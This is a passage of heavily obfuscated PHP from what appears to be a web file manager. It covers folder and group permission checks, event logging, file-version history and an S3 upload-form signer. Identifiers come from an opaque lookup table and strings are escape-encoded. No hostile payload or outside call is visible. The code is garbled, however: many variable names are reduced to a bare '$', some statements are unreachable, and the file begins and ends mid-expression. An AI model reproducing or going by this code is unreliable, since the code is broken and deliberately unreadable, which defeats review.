$[$ڷڰ[1661]] : $[$ڷڰ[1851]]; if ($[$ڷڰ[1661]] && $[$ڷڰ[1661]] == $ĩݪ) { continue; } $씤[] = array($ڷڰ[440] => $ч[$ڷڰ[440]], $ڷڰ[449] => $鯬, $ڷڰ[534] => intval($˳), $ڷڰ[1955] => isset($޲[$ڷڰ[437]]) ? intval($޲[$ڷڰ[437]]) : 0, $ڷڰ[2015] => isset($޲[$ڷڰ[2015]]) ? intval($޲[$ڷڰ[2015]]) : -1); } $씤[] = array($ڷڰ[440] => $ч[$ڷڰ[440]], $ڷڰ[449] => SourceModel::TYPE_USER, $ڷڰ[534] => intval($ĩݪ), $ڷڰ[1955] => intval($黬), $ڷڰ[2015] => -1); $this->where(array($ڷڰ[455] => $ч[$ڷڰ[440]]))->delete(); $this->addAll($씤); } return !0; } public function get($ڱ) { $ = $this->getSourceList(array($ڱ), !0); return $[0]; } public function getSourceList($, $߈ = false, $ = false) { $ =& $_SERVER[̧]; if (!$) { return array(); } $ = Model($[1353]); if (!$߈ && count($) == 1) { $߈ = array(); $߈[$[0]] = $->sourceInfo($[0]); } if (!$߈) { $̩ = array($[455] => array($[456], $)); $߈ = $->field($[2039])->where($̩)->select(); $߈ = array_to_keyvalue($߈, $[440]); } $΅ۆ = $; foreach ($߈ as $ô => $ɹ) { $鉷 = $->parentLevelArray($ɹ[$[549]]); $΅ۆ = array_merge($΅ۆ, array($ô), array_reverse($鉷)); } $΅ۆ = array_values(array_unique($΅ۆ)); if (!$΅ۆ) { return array(); } $ߜӯ = $this->sourceAuthSelect($΅ۆ); $ = array(); foreach ($΅ۆ as $͙) { if (isset($ߜӯ[$͙])) { $[$͙] = $ߜӯ[$͙]; } } $͠Ӡ = $this->userIsRoot($); $ = AuthModel::authAll(); $ = array($[452] => $, $[2040] => array($[457] => 0, $[1857] => $, $[458] => LNG($[2041]), $[1874] => $[2042])); $ = array(); foreach ($߈ as $͙ => $篠) { if ($͠Ӡ && $GLOBALS[$[6]][$[1870]]) { $[$͙] = $; continue; } $[$͙] = $this->makeSourceAuth($篠, $, $); } return $; } public function authDeepCheck($Ӳ, $آ = false) { $ =& $_SERVER[̧]; $آ = $آ ? $آ : USER_ID; $¶ = $this->makeAuthDeep($آ); if (!in_array($Ӳ, $¶[$[2043]])) { return !1; } $߼ = array(); foreach ($¶[$[2044]] as $ => $ֈ) { if (!in_array($Ӳ, $ֈ)) { continue; } $߼[] = $; } if (!$߼) { return !1; } $ = $߼ ? $߼[0] : $Ӳ; return array($[452] => -1, $[505] => array($[457] => $[1208], $[1857] => $[198], $[458] => LNG($[2045]), $[1874] => $[2046]), $[2047] => LNG($[2048]), $[2049] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($ = false) { $ɾ =& $_SERVER[̧]; static $ޏ = array(); $ = $ ? $ : USER_ID; if (isset($ޏ[$])) { return $ޏ[$]; } $ד = Model($ɾ[2050])->listData(); $ = array(); foreach ($ד as $) { if ($[$ɾ[451]] == 0 && $[$ɾ[1873]] == $ɾ[88]) { $[] = $[$ɾ[437]]; } } $縂 = $this->userGroupParents($); $齝 = array($ɾ[449] => SourceModel::TYPE_USER, $ɾ[534] => $); if ($縂) { $齝 = array(array($ɾ[449] => SourceModel::TYPE_USER, $ɾ[534] => $), array($ɾ[449] => SourceModel::TYPE_GROUP, $ɾ[534] => array($ɾ[456], $縂)), $ɾ[1020] => $ɾ[1949]); } $Ў֛ = $this->field($ɾ[2051])->where($齝)->select(); $Կ = array(); $ = array_to_keyvalue_group($Ў֛, $ɾ[440]); foreach ($ as $皖 => $) { $ݛ = $this->authArrayCheck($, $); if ($ݛ[$ɾ[452]] > 0) { $Կ[] = $皖 . $ɾ[12]; } } if ($縂) { $ = Model($ɾ[550]); foreach ($縂 as $Ĝ) { $̏ = $->getInfo($Ĝ); if (!$̏ || !is_array($̏[$ɾ[87]])) { continue; } $Կ[] = $̏[$ɾ[87]][$ɾ[440]]; } } $㊣ = array(); $צ = $縂; $˷ = Model($ɾ[1353]); $ = Model($ɾ[550]); $ = array(); $ = array(); $숲 = array(); $й = array(); if ($Կ) { $յ = $˷->where(array($ɾ[440] => array($ɾ[456], $Կ)))->select(); foreach ($յ as $ǀ) { $ = $˷->parentLevelArray($ǀ[$ɾ[549]]); $㊣ = array_merge($㊣, $); $צ[] = $ǀ[$ɾ[534]]; $[$ǀ[$ɾ[440]]] = $; $[$ǀ[$ɾ[440]]] = $ǀ[$ɾ[534]]; } } $צ = array_values(array_unique($צ)); $ = $צ; foreach ($ as $Ĝ) { $̏ = $->getInfo($Ĝ); $ = $˷->parentLevelArray($̏[$ɾ[549]]); $צ = array_merge($צ, $); } $צ = array_values(array_unique($צ)); foreach ($צ as $Ĝ) { $̏ = $->getInfo($Ĝ); $㊣[] = $̏[$ɾ[87]][$ɾ[440]]; $숲[$Ĝ] = $̏[$ɾ[87]][$ɾ[440]]; $й[$Ĝ] = $˷->parentLevelArray($̏[$ɾ[549]]); } foreach ($ as $뻷 => $գ) { $ʉ = $[$뻷]; if (!$ʉ || !$숲[$ʉ]) { continue; } $ٓ = array(); foreach ($й[$ʉ] as $Ĝ) { $ٓ[] = $숲[$Ĝ]; } $[$뻷] = array_merge($ٓ, $գ); } $㊣ = array_values(array_unique($㊣)); $ᗁ = array($ɾ[2043] => $㊣, $ɾ[2044] => $); $ޏ[$] = $ᗁ; return $ᗁ; } private function makeSourceAuth($ڮ, $̘, $׬ = false) { $쵥 =& $_SERVER[̧]; $ښ = $쵥[88]; $ = $ڮ[$쵥[534]]; $׿ = $ڮ[$쵥[449]] == SourceModel::TYPE_GROUP; $ = $׿ ? $this->groupRootAuth($, $׬) : !1; if ($ && Model($쵥[536])->authCheckAction($[$쵥[451]], $쵥[1872])) { return $this->groupAuthInfo($, $); } $ = Model($쵥[1353])->parentLevelArray($ڮ[$쵥[549]]); $ = array_merge(array($ڮ[$쵥[440]]), array_reverse($)); $ = !1; foreach ($ as $è) { if (!isset($̘[$è])) { continue; } $ = $this->authMake($̘[$è], $׬); if ($[$쵥[505]]) { $ = $; break; } } if (!$׿) { return $; } if (!$ && $) { $ = $this->groupAuthInfo($, $); } if (!$) { $ = Model($쵥[550])->getInfo($); $녷 = explode($쵥[50], trim($[$쵥[549]], $쵥[50])); $녷 = array_reverse($녷); foreach ($녷 as $㌗) { if ($㌗ == $쵥[198] || $㌗ == $ښ) { continue; } $ = $this->groupRootAuth($㌗, $׬); if (!$) { continue; } $ = $this->groupAuthInfo($, $㌗); break; } } if (!$ || $[$쵥[452]] <= 0) { $ֲ = $this->authDeepCheck($ڮ[$쵥[440]], $׬); if ($ֲ) { $ = $ֲ; } } return $; } private function userIsRoot($֎ = false) { $顯 =& $_SERVER[̧]; if (!$֎ && _get($GLOBALS, $顯[532])) { return !0; } $ = Model($顯[563])->getInfo($֎); $ = Model($顯[2052])->listData($[$顯[1540]]); if ($ && $[$顯[540]][$顯[2053]] == 1) { return !0; } return !1; } private function sourceAuthInfo($Ȟ̜) { $ź =& $_SERVER[̧]; $ = Model($ź[1353]); $Ĵ = $->sourceInfo($Ȟ̜); if (!$Ĵ) { return !1; } $->groupPathDisplay($Ĵ); $®̊ = array($Ĵ); $®̊ = $->_listAppendPath($®̊); $Ĵ = $®̊[0]; $ϕ = $Ĵ[$ź[547]]; if (isset($Ĵ[$ź[555]])) { $Ƹ = explode($ź[8], trim($Ĵ[$ź[547]], $ź[8])); array_shift($Ƹ); $ϕ = $Ĵ[$ź[553]] . $ź[2054] . implode($ź[8], $Ƹ); } return array($ź[458] => $Ĵ[$ź[32]], $ź[84] => KodIO::make($Ĵ[$ź[440]]), $ź[2055] => $ϕ); } private function groupAuthInfo($, $) { $ =& $_SERVER[̧]; $є = Model($[550])->getInfo($); return array($[2056] => intval($[$[451]]), $[2040] => $, $[2057] => LNG($[2058]), $[2049] => array($[458] => $є[$[32]], $[84] => KodIO::make($є[$[87]][$[440]]), $[2055] => $є[$[554]])); } protected function groupRootAuth($۞, $➬ = false) { $ڵ =& $_SERVER[̧]; $➬ = $➬ ? $➬ : USER_ID; $ª֫ = $➬ . $ڵ[2059] . $۞; static $҂Ʒ = array(); if (isset($҂Ʒ[$ª֫])) { return $҂Ʒ[$ª֫]; } $Ш = Model($ڵ[550])->getInfo($۞); $̐ = $this->userGroupList($➬); $ = isset($̐[$۞]) ? $̐[$۞][$ڵ[451]] : !1; if ($ && Model($ڵ[536])->authCheckAction($[$ڵ[451]], $ڵ[1872])) { $҂Ʒ[$ª֫] = $; return $; } $́ = $this->sourceAuthSelect($Ш[$ڵ[87]][$ڵ[440]]); $񆧚Ǭ = $́ ? $this->authMake($́, $➬) : !1; $ = $񆧚Ǭ ? $񆧚Ǭ[$ڵ[505]] : !1; $҂Ʒ[$ª֫] = $ ? $ : $; return $҂Ʒ[$ª֫]; } public function authOwnerApply($㯣) { $ɹ =& $_SERVER[̧]; if (empty($㯣[$ɹ[451]]) || isset($㯣[$ɹ[2060]]) && $㯣[$ɹ[2060]]) { return $㯣; } if (AuthModel::authCheckRoot($㯣[$ɹ[451]][$ɹ[452]])) { return $㯣; } $ò = Model($ɹ[1353])->parentLevelArray($㯣[$ɹ[549]]); $ò = array_merge(array($㯣[$ɹ[440]]), array_reverse($ò)); $⃑ = $this->sourceAuthSelect($ò); $ = array(); $ = array(); foreach ($⃑ as $ => $Ư) { $ל = $this->authFolderOwnerUser($Ư); $[$] = $ל; $ = array_merge($, $ל[$ɹ[628]]); if ($ל[$ɹ[2061]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($㯣[$ɹ[534]]); } $ = array_unique($); if (AuthModel::authCheckRoot($㯣[$ɹ[451]][$ɹ[452]])) { $[] = USER_ID; } $㯣[$ɹ[451]][$ɹ[2062]] = Model($ɹ[542])->userListInfo($); return $㯣; } private function authFolderOwnerGroup($) { $濡 =& $_SERVER[̧]; $ȉ = Model($濡[1941])->where(array($濡[1851] => $))->select(); $ = array(); if (!$ȉ) { return $; } foreach ($ȉ as $ǻ) { $Ԛ = $this->authInfo($ǻ); if (AuthModel::authCheckRoot($Ԛ[$濡[451]])) { $[] = $ǻ[$濡[1661]]; } } return $; } private function authFolderOwnerUser($) { $ =& $_SERVER[̧]; $޺ = array(); $ = !1; foreach ($ as $ѣ) { $ؗ = $this->authInfo($ѣ); if ($ѣ[$[534]] == $[198]) { $ = !0; } if ($ѣ[$[449]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($ؗ[$[451]])) { $޺[] = $ѣ[$[534]]; } } } return array($[628] => $޺, $[2061] => $); } public function authMake($й߃, $ȧ = false) { $Ί =& $_SERVER[̧]; $ϛ = $this->authArrayCheck($й߃, $ȧ); if ($ϛ[$Ί[2063]]) { $ϛ[$Ί[2063]] = $this->sourceAuthInfo($ϛ[$Ί[2063]]); } return $ϛ; } public function authArrayCheck($, $ݛ = false) { $ӑ =& $_SERVER[̧]; if (!$) { return array($ӑ[452] => 0, $ӑ[505] => !1); } $ݛ = $ݛ ? $ݛ : USER_ID; $ڢ = 0; $̾ = 0; $ = 0; $ = 0; $ފ = 0; $Ⓓȯ = 0; $ӌ = 1000; $Ǔ = 0; $ = 0; $Ј = 0; $Ӫ = 0; $ = array($ӑ[440] => 0); foreach ($ as $) { $ = $this->authInfo($); if (!$) { continue; } $ = $[$ӑ[534]]; $ܪ = intval($[$ӑ[451]]); if ($[$ӑ[449]] == SourceModel::TYPE_USER && $ == $ݛ) { $ڢ = !0; $ = $; $̾ = $ܪ; } else { if ($[$ӑ[449]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $ݛ)) { $ = !0; $պ = $this->groupStepToUserGroup($, $ݛ); if ($պ < $ӌ) { $ӌ = $պ; $ފ = $ܪ; $Ⓓȯ = $; $Ǔ = $; } if ($պ == $ӌ && $ܪ >= $ފ) { $ފ = $ܪ; $Ⓓȯ = $; $Ǔ = $; } } else { if ($ == $ӑ[198]) { $ = !0; $Ӫ = $; $Ј = $ܪ; } } } } if ($ڢ) { $ = $̾; $ = $; $璠 = LNG($ӑ[2064]); } else { if ($) { $ = $ފ; $ = $Ⓓȯ; $ = Model($ӑ[550])->getInfo($Ǔ); $璠 = $ӑ[162] . $[$ӑ[554]] . $ӑ[2065] . LNG($ӑ[2066]); } else { if ($) { $ = $Ј; $ = $Ӫ; $璠 = LNG($ӑ[2037]); } else { $ = 0; $ = !1; $璠 = $ӑ[12]; } } } $۠ = array($ӑ[2056] => intval($), $ӑ[2040] => $, $ӑ[2057] => $璠, $ӑ[2049] => $[$ӑ[440]]); return $۠; } private function groupContainUser($ٕ, $具 = false) { return in_array($ٕ, $this->userGroupParents($具)); } private function groupStepToUserGroup($, $ = false) { $҉ =& $_SERVER[̧]; $ = $this->userGroupList($); $ = 1000; $Ҽ = $GLOBALS[$҉[6]][$҉[89]][$҉[1954]] == 1; $ = $Ҽ ? 3 : 2; foreach ($ as $ҋ) { if ($ҋ[$҉[1851]] == $) { return 0; } $ = explode($҉[50], trim($ҋ[$҉[549]], $҉[50])); if ($[0] == $҉[198] && count($) > $) { $ = array_reverse(array_slice($, $)); $ = array_search($, $); if ($ !== !1 && $ + 1 <= $) { $ = $ + 1; } } } return $; } private function userGroupList($ = false) { $ŤҎ =& $_SERVER[̧]; static $Ԅ = array(); if (isset($Ԅ[$])) { return $Ԅ[$]; } $Ř = Model($ŤҎ[563])->getInfo($); $Ԅ[$] = array_to_keyvalue($Ř[$ŤҎ[2038]], $ŤҎ[1851]); return $Ԅ[$]; } public function userGroupParents($ݝ) { $ٜ =& $_SERVER[̧]; static $ȭ = array(); $ݝ = $ݝ ? $ݝ : USER_ID; if (isset($ȭ[$ݝ])) { return $ȭ[$ݝ]; } $ = $this->userGroupList($ݝ); $ǿǹ = array(); $ = $GLOBALS[$ٜ[6]][$ٜ[89]][$ٜ[1954]] == 1; $Ǻ = $ ? 3 : 2; foreach ($ as $쌍꒡) { $ψ = array($쌍꒡[$ٜ[1851]]); $ = explode($ٜ[50], trim($쌍꒡[$ٜ[549]], $ٜ[50])); if ($[0] == $ٜ[198] && count($) > $Ǻ) { $ܵ = array_slice($, $Ǻ); $ψ = array_merge($ψ, array_reverse($ܵ)); } $ǿǹ = array_merge($ǿǹ, $ψ); } $ȭ[$ݝ] = array_unique($ǿǹ); return $ȭ[$ݝ]; } public function authTargetInfoMake($Ҙ) { $ =& $_SERVER[̧]; $ɞ = array(); $ = array(); foreach ($Ҙ as $ב) { if ($ב[$[449]] == SourceModel::TYPE_USER) { $ɞ[] = intval($ב[$[534]]); } else { if ($ב[$[449]] == SourceModel::TYPE_GROUP) { $[] = intval($ב[$[534]]); } } } if ($ɞ) { $ɞ = Model($[542])->userListInfo($ɞ); } if ($) { $҇ = array($[1939] => array($[456], $)); $ = Model($[550])->field($[2067])->where($҇)->select(); $ = array_to_keyvalue($, $[1851]); } return array($[2068] => $ɞ, $[2069] => $); } public function authInfo($ê) { $ͭǍ =& $_SERVER[̧]; if ($ê[$ͭǍ[1955]]) { $Ρ = Model($ͭǍ[536])->listData($ê[$ͭǍ[1955]]); if (!$Ρ) { return !1; $נ = Model($ͭǍ[536])->listData(); $ = array_filter_by_field($נ, $ͭǍ[451], $ͭǍ[198]); return $; } $ = array_field_key($Ρ, array($ͭǍ[437], $ͭǍ[32], $ͭǍ[451], $ͭǍ[1874], $ͭǍ[1875])); $[$ͭǍ[2070]] = $ê; return $; } else { return array($ͭǍ[457] => 0, $ͭǍ[1857] => $ê[$ͭǍ[2015]], $ͭǍ[458] => $ͭǍ[12], $ͭǍ[1874] => $ͭǍ[2071]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\151\157\137\x73\157\x75\162\x63\145\137\x65\166\145\156\x74"; protected $dataAuto = array(array("\x63\162\145\141\164\145\x54\x69\155\145", "\x74\151\x6d\145", "\x69\156\x73\x65\x72\164", "\146\x75\156\143\x74\x69\x6f\x6e"), array("\144\x65\x73\143", '', "\151\x6e\163\145\x72\x74\54\165\160\x64\141\x74\x65\x2c\x73\145\x6c\x65\x63\x74", "\152\163\157\156")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($ޓ, $Ŋ, $ = '') { $ =& $_SERVER[̧]; if (!$this->eventSave) { return; } $̺ = Model($[1353])->sourceInfo($ޓ); if (!$̺) { return !1; } if ($this->isCacheEvent($̺, $Ŋ)) { return; } if ($ && is_string($)) { $ = array($[1890] => $); } $Ǒ = defined($[2072]) ? USER_ID : 0; $ٙ = array($[455] => $ޓ, $[2073] => $̺[$[470]], $[2074] => $̺[$[32]], $[547] => !empty($̺[$[547]]) ? $̺[$[547]] : $[12], $[1652] => $Ǒ, $[460] => $Ŋ, $[1654] => $); $this->addSystemLog($Ŋ, $ٙ); unset($ٙ[$[2074]], $ٙ[$[547]]); return $this->add($ٙ); } private function addSystemLog($嶧, $ű) { $ۖ =& $_SERVER[̧]; if ($嶧 == $ۖ[2075]) { $嶧 = $ű[$ۖ[491]][$ۖ[2076]]; } else { if (in_array($嶧, array($ۖ[1831], $ۖ[2077]))) { $嶧 = $ű[$ۖ[491]][$ۖ[774]]; } } $Ť = array_merge($ű, array($ۖ[2078] => $ű[$ۖ[440]], $ۖ[2079] => $ű[$ۖ[2079]])); Hook::trigger($ۖ[2080], $ۖ[2081] . $嶧, $ű); Model($ۖ[1795])->addLog($ۖ[2081] . $嶧, $Ť); } private function isCacheEvent($, $ن) { if ($[$_SERVER[̧][449]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($ܭ, $༤) { $ܟ =& $_SERVER[̧]; $􆲸 = Model($ܟ[1353])->sourceInfo($ܭ); $ = array($ܟ[2076] => $༤, $ܟ[32] => $􆲸[$ܟ[32]]); return $this->addEvent($ܭ, $ܟ[2075], $); } public function eventFileEdit($Ǽ) { $ݕ =& $_SERVER[̧]; $䥿 = array($ݕ[2082] => $_SERVER[$ݕ[2083]], $ݕ[2084] => strtolower(ACTION)); if (isset($GLOBALS[$ݕ[7]][$ݕ[2085]])) { $䥿[$ݕ[2085]] = $ݕ[88]; } return $this->addEvent($Ǽ, $ݕ[1821], $䥿); } public function eventRecycle($稬, $ړռ) { return $this->addEvent($稬, $_SERVER[̧][2077], $ړռ); } public function eventRemove($ǿ) { $ʭ =& $_SERVER[̧]; $ꑝ = Model($ʭ[1353])->sourceInfo($ǿ); $ﱠ = $ꑝ[$ʭ[32]]; return $this->addEvent($ꑝ[$ʭ[470]], $ʭ[1820], $ﱠ); } public function eventShare($, $) { return $this->addEvent($, $_SERVER[̧][1831], $); } public function eventMove($ֶ, $ܗ, $㯀) { $ɞ =& $_SERVER[̧]; $ڮ = Model($ɞ[1353]); $̵ = $ڮ->sourceInfo($ֶ); $ݿ = $ڮ->sourceInfo($ܗ); $ڽ = $ڮ->sourceInfo($㯀); $ = array($ɞ[1180] => $ܗ, $ɞ[2086] => $ݿ[$ɞ[32]], $ɞ[2063] => !empty($ݿ[$ɞ[547]]) ? $ݿ[$ɞ[547]] : $ɞ[12], $ɞ[1181] => $㯀, $ɞ[2087] => $ڽ[$ɞ[32]], $ɞ[2088] => !empty($ڽ[$ɞ[547]]) ? $ڽ[$ɞ[547]] : $ɞ[12]); $this->addEvent($ֶ, $ɞ[586], $); $̵ = $ڮ->sourceInfo($ֶ); $ = array($ɞ[440] => $̵[$ɞ[440]], $ɞ[32] => $̵[$ɞ[32]]); $this->addEvent($ܗ, $ɞ[2089], $); } public function eventCopy($̧) { $this->eventCreate($̧, $_SERVER[̧][584]); } public function eventRename($膢, $ی, $º) { $薱 =& $_SERVER[̧]; $ɦ = array($薱[1180] => $ی, $薱[1181] => $º); return $this->addEvent($膢, $薱[1368], $ɦ); } public function eventAddComment($؞, $탞) { return $this->addEvent($؞, $_SERVER[̧][2090], $탞); } public function eventAddDesc($, $ɥ) { return $this->addEvent($, $_SERVER[̧][2091], $ɥ); } public function listBySource($) { $鷎 =& $_SERVER[̧]; $ = Model($鷎[1353])->sourceInfo($); $ = array($鷎[455] => $); if ($[$鷎[448]] == $鷎[88]) { $ɜ = Model($鷎[1353])->listSearchChildren($, 20000); $ɜ[] = $ . $鷎[407]; $ = array($鷎[440] => array($鷎[7], $ɜ)); } $ꋜ = $this->where($)->order($鷎[2092])->selectPage(); if ($ꋜ[$鷎[395]][$鷎[396]] == 0) { $ꋜ[$鷎[395]][$鷎[396]] = 1; $ꋜ[$鷎[398]] = array(array($鷎[455] => $, $鷎[2073] => $[$鷎[470]], $鷎[1652] => $[$鷎[492]], $鷎[460] => $鷎[2093], $鷎[461] => $[$鷎[201]], $鷎[1654] => $鷎[12])); } return $this->eventListParse($ꋜ, $); } private function eventListParse($, $) { $ =& $_SERVER[̧]; $Ӆ = $[$[398]]; $ͅ = array_to_keyvalue($Ӆ, $[12], $[440]); $ݺ = array_to_keyvalue($Ӆ, $[12], $[2079]); foreach ($Ӆ as $) { $Ռ = $[$[491]]; if ($[$[33]] == $[586] && isset($Ռ[$[1180]])) { $ͅ[] = $Ռ[$[1180]] . $[12]; $ͅ[] = $Ռ[$[1181]] . $[12]; } if ($[$[33]] == $[2089] && isset($Ռ[$[440]])) { $ͅ[] = $Ռ[$[440]] . $[12]; } } $ͅ = array_merge($ͅ, $ݺ, array($ . $[12])); $ͅ = array_unique($ͅ); $ = array_unique(array_to_keyvalue($Ӆ, $[12], $[1661])); $ձ봘 = Model($[563])->userListInfo($); $ = Model($[845])->sourceListInfo($ͅ, !0); foreach ($Ӆ as &$) { if ($[$[33]] == $[586] && isset($[$[491]][$[1180]])) { $[$[491]][$[1180]] = $[$[$[491]][$[1180]]]; $[$[491]][$[1181]] = $[$[$[491]][$[1181]]]; } if ($[$[33]] == $[2089] && isset($[$[491]][$[440]])) { $[$[491]][$[440]] = $[$[$[491]][$[440]]]; } $[$[87]] = $[$[$[440]]]; $[$[2094]] = $[$[$[2079]]]; if ($[$[33]] == $[1820]) { $[$[2094]] = $[$[87]]; $[$[2079]] = $[$[2094]][$[440]]; $[$[87]] = !1; $[$[440]] = $[12]; } $[$[2023]] = $ձ봘[$[$[1661]]]; } unset($); $[$[398]] = $Ӆ; return $; } public function removeBySource($) { $́ = array($_SERVER[̧][455] => $); $this->where($́)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\151\157\137\x73\157\x75\x72\143\x65\137\150\151\x73\x74\157\x72\x79"; public function historyCount($Ͻ) { $ד =& $_SERVER[̧]; if (!$Ͻ) { return array(); } if (is_string($Ͻ) || is_int($Ͻ)) { $Ͻ = array($Ͻ); } $٫ = array($ד[440], $ד[1884] => $ד[529]); $۸ = array($ד[440] => array($ד[7], $Ͻ)); $ț = $this->field($٫)->where($۸)->group($ד[440])->select(); return array_to_keyvalue($ț, $ד[440], $ד[529]); } public function addHistory($ʳ, $Ȯ = '') { $ֹ =& $_SERVER[̧]; $Ի = array($ֹ[455] => $ʳ[$ֹ[440]], $ֹ[1652] => isset($ʳ[$ֹ[494]]) ? $ʳ[$ֹ[494]] : $ʳ[$ֹ[492]], $ֹ[507] => $ʳ[$ֹ[506]], $ֹ[583] => $ʳ[$ֹ[76]], $ֹ[2095] => $Ȯ); if ($GLOBALS[$ֹ[6]][$ֹ[89]][$ֹ[1237]] >= 1) { $this->historyAutoClear($Ի[$ֹ[440]]); $this->add($Ի); } Hook::trigger($ֹ[2096], $Ի); Model($ֹ[2097])->eventFileEdit($ʳ[$ֹ[440]]); } private function historyAutoClear($ٿ) { $쿚 =& $_SERVER[̧]; $㟸ʶ = Model($쿚[790])->get($쿚[1259]); $ = $GLOBALS[$쿚[6]][$쿚[89]][$쿚[1237]]; $Ү = $㟸ʶ == $쿚[1260] ? min(5, $) : $; $Ү = $Ү <= 0 ? 0 : $Ү - 1; if ($Ү >= 500) { return; } $ = array($쿚[455] => $ٿ); $ = $this->field($쿚[2098])->where($)->order($쿚[2092])->select(); if (!$ || $Ү >= count($)) { return; } $ˆ = array_to_keyvalue($, $쿚[12], $쿚[437]); $ˆ = array_slice($ˆ, $Ү); $ = array_to_keyvalue($, $쿚[12], $쿚[506]); $ = array_slice($, $Ү); if (!$ˆ || !$) { return; } $ = array($쿚[457] => array($쿚[7], $ˆ)); $this->where($)->delete(); Model($쿚[509])->remove($); } public function listData($ʳ) { $© =& $_SERVER[̧]; $ = array($©[455] => $ʳ); $Ɯ = $©[2099]; $ = $this->field($Ɯ)->where($)->order($©[2092])->selectPage(); $this->_listAppendUser($[$©[398]]); $ = Model($©[790])->get($©[1259]); $嫫 = 5; if ($ == $©[1260]) { $[$©[398]] = array_slice($[$©[398]], 0, $嫫); $[$©[395]] = array($©[2100] => 1, $©[2101] => 20, $©[2102] => 1, $©[2103] => count($[$©[398]])); } return $; } protected function _listAppendUser(&$ֲ) { $ʉ =& $_SERVER[̧]; $ = array_to_keyvalue($ֲ, $ʉ[12], $ʉ[1661]); $Ϗݓ = Model($ʉ[563])->userListInfo($); foreach ($ֲ as &$) { $Ř = $[$ʉ[1661]]; $[$ʉ[492]] = $Ϗݓ[$Ř] ? $Ϗݓ[$Ř] : !1; } unset($); } public function fileInfo($ݼ) { $Ӱא =& $_SERVER[̧]; $ = $this->tablePrefix; $窱 = "{$}\x69\157\x5f\x66\151\154\x65\40\x66\x69\x6c\x65\163\x20\x6f\x6e\40\x66\151\x6c\145\163\x2e\x66\x69\154\x65\x49\104\x20\x3d\x20\x68\151\x73\x74\x6f\x72\x79\x2e\x66\x69\154\x65\111\104"; return $this->alias($Ӱא[2104])->where(array($Ӱא[457] => $ݼ))->join($窱, $Ӱא[2105])->find(); } public function removeItem($) { $Я =& $_SERVER[̧]; $ = array($Я[457] => $); $ = $this->where($)->find(); if ($) { $ň˖ = $this->where($)->delete(); Model($Я[509])->remove($[$Я[506]]); return $ň˖; } return !1; } public function removeBySource($ԏ) { $ =& $_SERVER[̧]; if (!$ԏ) { return !1; } if (!is_array($ԏ)) { $ԏ = array($ԏ); } $Ҫ = array($[455] => array($[7], $ԏ)); $ = $this->field($[507])->where($Ҫ)->select(); if ($) { $this->where($Ҫ)->delete(); $׿ = array_to_keyvalue($, $[12], $[506]); Model($[509])->remove($׿); } return !0; } public function setDetail($, $ۧ) { $ =& $_SERVER[̧]; return $this->where(array($[457] => $))->save(array($[2095] => $ۧ)); } public function rollbackToItem($, $Ț) { $ =& $_SERVER[̧]; $ = Model($[845])->sourceInfo($); $this->addHistory($Â, LNG($[2106])); $ס = $this->find($Ț); $Ίܰ = array($[506] => $ס[$[506]], $[76] => $ס[$[76]], $[85] => time(), $[494] => USER_ID); Model($[845])->where(array($[440] => $))->save($Ίܰ); return $this->where(array($[457] => $Ț))->delete(); } public function clearSame($) { $ى =& $_SERVER[̧]; $ = $this->listData($); $ = array_to_keyvalue_group($, $ى[506]); $ = array(); $̼ = array(); foreach ($ as $܅) { if (!$܅ || count($܅) <= 1) { continue; } foreach ($܅ as $܎) { $[] = $܎[$ى[506]]; $̼[] = $܎[$ى[437]]; } } if (!$̼) { return; } $this->where(array($ى[437] => array($ى[7], $̼)))->delete(); Model($ى[509])->remove($); } public function userSpace() { $颯 =& $_SERVER[̧]; $Ԕզ = $this->tablePrefix; $ߎ = array($颯[1652] => USER_ID); $ʉ = "{$Ԕզ}\x69\157\137\x66\x69\154\x65\x20\x66\151\x6c\145\163\x20\x6f\x6e\40\146\x69\x6c\x65\x73\x2e\x66\151\154\145\x49\x44\40\75\x20\x68\151\163\x74\157\162\x79\x2e\146\x69\154\145\x49\104"; return $this->alias($颯[2104])->where($ߎ)->join($ʉ, $颯[2105])->sum($颯[76]); } } goto B; Cɂ: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($͏ۢ) { parent::__construct($͏ۢ); } public function uploadFormData($ǖ, $ڇ = 3600) { $ =& $_SERVER[̧]; $ = $[199]; $ֆ = $[238]; $ = $[62]; $ݎ = gmdate($[239]); $ūɞ = gmdate($[240]); $ԓ = $[241]; $Ո = $ڇ . $[12]; $Ё = $[242]; $독 = array($this->accessKey, $ūɞ, $this->region, $, $ԓ); $‹ = implode($[8], $독); $³ = array($[243] => gmdate($[1345], strtotime($[245])), $[246] => array(array($[247] => $this->bucket), array($[248] => $), array($[249], $[250], $[12]), array($[249], $[251], $[12]), array($[249], $[252], $[12]), array($[253] => $Ё), array($[254] => $‹), array($[255] => $ֆ), array($[256] => $ݎ), array($[257] => $Ո))); $𪑩 = base64_encode(json_encode($³)); $ = hash_hmac($[258], $ūɞ, $[259] . $this->secret, !0); $ϲ = hash_hmac($[258], $this->region, $, !0); $ҟ = hash_hmac($[258], $, $ϲ, !0); $ = hash_hmac($[258], $ԓ, $ҟ, !0); $ІŐ = hash_hmac($[258], $𪑩, $); $ܬ = array($[215] => $[12], $[260] => $[12], $[248] => $, $[253] => $Ё, $[261] => $𪑩, $[262] => $‹, $[263] => $ֆ, $[264] => $ݎ, $[265] => $Ո, $[266] => $ІŐ, $[182] => $this->getHost()); return $ܬ; } public function multiUploadFormData($ʊ, $ቧ = 3600) { $Ȅ =& $_SERVER[̧]; $А = gmdate($Ȅ[1448]); $ = array(); $ı = $this->client->getUploadId($this->bucket, $ʊ, $); if (!$ı) { return !1; } return array($Ȅ[223] => $ı, $Ȅ[182] => $this->getHost() . $Ȅ[8] . $this->pathEncode($ʊ), $Ȅ[224] => $А, $Ȅ[94] => $ʊ); } public function multiUploadAuthData($, $ü = array()) { $蹘 =& $_SERVER[̧]; $滔 = isset($ü[$蹘[174]]) ? $ü[$蹘[174]] : $蹘[12]; $ͧ = $ü[$蹘[94]]; unset($ü[$蹘[94]]); if (isset($ü[$蹘[225]])) { return $this->listUploadParts($ͧ, $ü); } $ɧ = array(); if (isset($ü[$蹘[1449]])) { 